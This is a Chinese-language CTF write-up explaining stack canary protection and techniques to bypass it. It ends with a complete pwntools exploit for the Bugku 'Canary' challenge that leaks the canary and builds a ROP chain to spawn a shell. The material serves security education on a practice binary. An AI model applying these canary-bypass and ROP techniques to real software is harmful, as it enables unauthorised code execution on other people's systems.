canary简介
Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。canary不管是实现还是设计思想都比较简单高效, 就是插入一个值, 在stack overflow发生的 高危区域的尾部, 当函数返回之时检测canary的值是否经过了改变, 以此来判断stack/buffer overflow是否发生.
canary实现
开启 Canary 保护的 stack 结构大概如下:
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| local variables |
Low | |
Address
当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:
在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail
。
Canary绕过
泄露栈中的 Canary
Canary 设计为以字节 \x00
结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。
one-by-one 爆破 Canary
对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。
劫持__stack_chk_fail 函数
已知 Canary 失败的处理逻辑会进入到 __stack_chk_fail
ed 函数,__stack_chk_fail
ed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。
覆盖 TLS 中储存的 Canary 值
已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。
题目
泄漏栈中的canary例题
Bugku-Canary: https://ctf.bugku.com/challenges/detail/id/184.html
使用checksec
检查,结果如下,开启了NX和Cannary。
运行
使用IDA Pro打开,查看导入表,导出表,string窗口,导入导出表没有需要重点关注的地方。strings有/bin/sh
命令行有关的字符串,没有交叉引用,还找到了system函数,可以利用这两部分构造ROP链。
F5查看,这里有两个read函数,这里存在栈溢出,可以使用第一个read暴露canary,第二个read构造ROP链获取shell。
1、首先暴露canary,buf到canary的距离是(0x240 - 0x8),高八字节是canary
2、暴露出canary后,继续八字节覆盖ebp
3、查找合适的gadget,构造ROP链。这里因为是64位的系统,传参方式和32位系统不同;32位系统的程序将参数从右到左压入栈中传参,64位系统前六个参数通过rdi,rsi,rdx,rcx,r8,r9传递,从第七个参数开始从右到左压栈传参,只需要找到pop rdi指令,esp就会加8,就可以将原esp处的数据赋值给rdi,完成了参数压栈,再调用system()函数,就可以构造system("/bash/sh")。
关于 gadget的介绍https://xz.aliyun.com/t/3711,相关工具Ropgadget(https://github.com/JonathanSalwan/ROPgadget)
使用以下命令查找ROPgatget
ROPgadget --binary pwn4_canary --only "pop|rdi|ret"
完整WP代码如下:
from pwn import *
context.log_level = "debug"
r = process("./pwn4")
rdi = 0x400963
bin_sh = 0x601068
system = 0x400660
payload1 = b'a' * (0x240 - 0x8)
r.sendlineafter("Please leave your name(Within 36 Length):", payload1)
r.recvline()
canary = r.recv(7).rjust(8, b'\x00')
print(canary)
payload2 = b'a' * (0x210 - 0x8) + canary + b'a' * 8 + p64(rdi) + p64(bin_sh) + p64(system)
r.sendlineafter("Please leave a message(Within 0x200 Length):", payload2)
r.interactive()